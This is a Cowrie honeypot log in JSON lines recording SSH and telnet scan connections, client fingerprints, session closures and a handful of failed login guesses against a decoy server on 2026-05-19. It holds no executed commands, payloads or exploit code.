{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:19.085610Z","src_ip":"103.172.78.219","session":"30c5abe7a727","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.08873558044433594,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:19.148445Z","src_ip":"35.187.190.159","session":"a8dab4226500","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":37892,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b3ce37df69d","protocol":"telnet","message":"New connection: 35.187.190.159:37892 (10.17.0.5:23) [session: 1b3ce37df69d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:19.224067Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":37900,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bf0a6418cac","protocol":"telnet","message":"New connection: 35.187.190.159:37900 (10.17.0.5:23) [session: 0bf0a6418cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:19.380973Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":37910,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ddb9a515162","protocol":"telnet","message":"New connection: 35.187.190.159:37910 (10.17.0.5:23) [session: 2ddb9a515162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:19.535639Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":37914,"dst_ip":"10.17.0.5","dst_port":23,"session":"77dcba93ab36","protocol":"telnet","message":"New connection: 35.187.190.159:37914 (10.17.0.5:23) [session: 77dcba93ab36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:19.689013Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":37930,"dst_ip":"10.17.0.5","dst_port":23,"session":"2571775a2962","protocol":"telnet","message":"New connection: 35.187.190.159:37930 (10.17.0.5:23) [session: 2571775a2962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:19.844065Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"maxim","message":"login attempt [root/maxim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:19.907162Z","src_ip":"103.172.78.219","session":"30c5abe7a727","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":37944,"dst_ip":"10.17.0.5","dst_port":23,"session":"c46f2150c8e3","protocol":"telnet","message":"New connection: 35.187.190.159:37944 (10.17.0.5:23) [session: c46f2150c8e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:20.035684Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":37954,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae14724870b9","protocol":"telnet","message":"New connection: 35.187.190.159:37954 (10.17.0.5:23) [session: ae14724870b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:20.191098Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":37962,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2a1c7558d09","protocol":"telnet","message":"New connection: 35.187.190.159:37962 (10.17.0.5:23) [session: b2a1c7558d09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:20.346191Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":36148,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e1be15800f1","protocol":"ssh","message":"New connection: 80.94.92.184:36148 (159.203.135.109:22) [session: 8e1be15800f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:20.408973Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":37966,"dst_ip":"10.17.0.5","dst_port":23,"session":"98a8cbf3166c","protocol":"telnet","message":"New connection: 35.187.190.159:37966 (10.17.0.5:23) [session: 98a8cbf3166c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:20.500034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:20.565099Z","src_ip":"80.94.92.184","session":"8e1be15800f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:20.568560Z","src_ip":"80.94.92.184","session":"8e1be15800f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":37970,"dst_ip":"10.17.0.5","dst_port":23,"session":"a939b2edb991","protocol":"telnet","message":"New connection: 35.187.190.159:37970 (10.17.0.5:23) [session: a939b2edb991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:20.730043Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":37980,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8855f912e98","protocol":"telnet","message":"New connection: 35.187.190.159:37980 (10.17.0.5:23) [session: f8855f912e98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:20.887470Z"}
{"eventid":"cowrie.session.closed","duration":0.006003379821777344,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:20.893341Z","src_ip":"35.187.190.159","session":"f8855f912e98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":37996,"dst_ip":"10.17.0.5","dst_port":23,"session":"17841a255883","protocol":"telnet","message":"New connection: 35.187.190.159:37996 (10.17.0.5:23) [session: 17841a255883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:21.043187Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:21.173851Z","src_ip":"103.172.78.219","session":"30c5abe7a727","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":38006,"dst_ip":"10.17.0.5","dst_port":23,"session":"68abda0ec243","protocol":"telnet","message":"New connection: 35.187.190.159:38006 (10.17.0.5:23) [session: 68abda0ec243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:21.197313Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":38010,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bbc0ebc0c46","protocol":"telnet","message":"New connection: 35.187.190.159:38010 (10.17.0.5:23) [session: 7bbc0ebc0c46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:21.352917Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":38016,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b95ae4764f2","protocol":"telnet","message":"New connection: 35.187.190.159:38016 (10.17.0.5:23) [session: 4b95ae4764f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:21.509528Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":38030,"dst_ip":"10.17.0.5","dst_port":23,"session":"55942f0e1bad","protocol":"telnet","message":"New connection: 35.187.190.159:38030 (10.17.0.5:23) [session: 55942f0e1bad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:21.674144Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":38040,"dst_ip":"10.17.0.5","dst_port":23,"session":"84569aa68d27","protocol":"telnet","message":"New connection: 35.187.190.159:38040 (10.17.0.5:23) [session: 84569aa68d27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:21.828888Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":38050,"dst_ip":"10.17.0.5","dst_port":23,"session":"f19e6e3bd37d","protocol":"telnet","message":"New connection: 35.187.190.159:38050 (10.17.0.5:23) [session: f19e6e3bd37d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:21.986046Z"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1","message":"login attempt [sol/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:22.091194Z","src_ip":"80.94.92.184","session":"8e1be15800f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":38064,"dst_ip":"10.17.0.5","dst_port":23,"session":"b320b106f6cd","protocol":"telnet","message":"New connection: 35.187.190.159:38064 (10.17.0.5:23) [session: b320b106f6cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:22.146089Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":38070,"dst_ip":"10.17.0.5","dst_port":23,"session":"e328362a7a33","protocol":"telnet","message":"New connection: 35.187.190.159:38070 (10.17.0.5:23) [session: e328362a7a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:22.303822Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:22.309535Z","src_ip":"35.187.190.159","session":"e328362a7a33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":38086,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba50bd3a8cb8","protocol":"telnet","message":"New connection: 35.187.190.159:38086 (10.17.0.5:23) [session: ba50bd3a8cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:22.464750Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":38088,"dst_ip":"10.17.0.5","dst_port":23,"session":"a56a872b0828","protocol":"telnet","message":"New connection: 35.187.190.159:38088 (10.17.0.5:23) [session: a56a872b0828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:22.619930Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":38090,"dst_ip":"10.17.0.5","dst_port":23,"session":"57af1a7bfcca","protocol":"telnet","message":"New connection: 35.187.190.159:38090 (10.17.0.5:23) [session: 57af1a7bfcca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:22.776392Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":38096,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fc3f7a22e90","protocol":"telnet","message":"New connection: 35.187.190.159:38096 (10.17.0.5:23) [session: 8fc3f7a22e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:22.931271Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":38102,"dst_ip":"10.17.0.5","dst_port":23,"session":"132451ba02a1","protocol":"telnet","message":"New connection: 35.187.190.159:38102 (10.17.0.5:23) [session: 132451ba02a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:23.085269Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":38116,"dst_ip":"10.17.0.5","dst_port":23,"session":"c33286af4b29","protocol":"telnet","message":"New connection: 35.187.190.159:38116 (10.17.0.5:23) [session: c33286af4b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:23.240166Z"}
{"eventid":"cowrie.session.closed","duration":0.006834983825683594,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:23.246866Z","src_ip":"35.187.190.159","session":"c33286af4b29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":38118,"dst_ip":"10.17.0.5","dst_port":23,"session":"69624c08c595","protocol":"telnet","message":"New connection: 35.187.190.159:38118 (10.17.0.5:23) [session: 69624c08c595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:23.398767Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:23.424539Z","src_ip":"80.94.92.184","session":"8e1be15800f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":38120,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cae4f371abb","protocol":"telnet","message":"New connection: 35.187.190.159:38120 (10.17.0.5:23) [session: 4cae4f371abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:23.554401Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 2963","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 2963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:23.560060Z","src_ip":"35.187.190.159","session":"4cae4f371abb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":38134,"dst_ip":"10.17.0.5","dst_port":23,"session":"144155da29bd","protocol":"telnet","message":"New connection: 35.187.190.159:38134 (10.17.0.5:23) [session: 144155da29bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:23.713469Z"}
{"eventid":"cowrie.session.closed","duration":0.005311489105224609,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:23.718659Z","src_ip":"35.187.190.159","session":"144155da29bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.926943302154541,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.481220Z","src_ip":"35.187.190.159","session":"4cae4f371abb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.087190628051758,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.485822Z","src_ip":"35.187.190.159","session":"69624c08c595","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.4038567543029785,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.489022Z","src_ip":"35.187.190.159","session":"132451ba02a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.563594102859497,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.494740Z","src_ip":"35.187.190.159","session":"8fc3f7a22e90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.7227911949157715,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.499063Z","src_ip":"35.187.190.159","session":"57af1a7bfcca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.037384033203125,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.502026Z","src_ip":"35.187.190.159","session":"ba50bd3a8cb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.8851094245910645,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.504864Z","src_ip":"35.187.190.159","session":"a56a872b0828","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.2072653770446777,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.510952Z","src_ip":"35.187.190.159","session":"e328362a7a33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.368110418319702,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.514053Z","src_ip":"35.187.190.159","session":"b320b106f6cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.688159465789795,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.516928Z","src_ip":"35.187.190.159","session":"84569aa68d27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.5336802005767822,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.519580Z","src_ip":"35.187.190.159","session":"f19e6e3bd37d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.849179983139038,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.523207Z","src_ip":"35.187.190.159","session":"55942f0e1bad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.173245668411255,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.526050Z","src_ip":"35.187.190.159","session":"7bbc0ebc0c46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.019519805908203,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.528914Z","src_ip":"35.187.190.159","session":"4b95ae4764f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.334327220916748,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.531534Z","src_ip":"35.187.190.159","session":"68abda0ec243","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.630511045455933,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.534169Z","src_ip":"35.187.190.159","session":"bf88871648a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.49401330947876,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.536938Z","src_ip":"35.187.190.159","session":"17841a255883","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.809805631637573,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.539740Z","src_ip":"35.187.190.159","session":"a939b2edb991","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.04269003868103,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.542632Z","src_ip":"35.187.190.159","session":"98a8cbf3166c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.199849843978882,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.545904Z","src_ip":"35.187.190.159","session":"b2a1c7558d09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.358797550201416,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.549595Z","src_ip":"35.187.190.159","session":"ae14724870b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.51680326461792,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.552366Z","src_ip":"35.187.190.159","session":"c46f2150c8e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.711168527603149,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.555110Z","src_ip":"35.187.190.159","session":"2571775a2962","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.869054317474365,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.557891Z","src_ip":"35.187.190.159","session":"77dcba93ab36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.025102615356445,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.560638Z","src_ip":"35.187.190.159","session":"2ddb9a515162","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.182631731033325,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.563488Z","src_ip":"35.187.190.159","session":"0bf0a6418cac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.343144178390503,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:25.567085Z","src_ip":"35.187.190.159","session":"1b3ce37df69d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":39634,"dst_ip":"10.17.0.5","dst_port":22,"session":"1acab66ae65d","protocol":"ssh","message":"New connection: 46.19.67.181:39634 (10.17.0.5:22) [session: 1acab66ae65d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:35.532974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:35.537868Z","src_ip":"46.19.67.181","session":"1acab66ae65d","protocol":"ssh"}
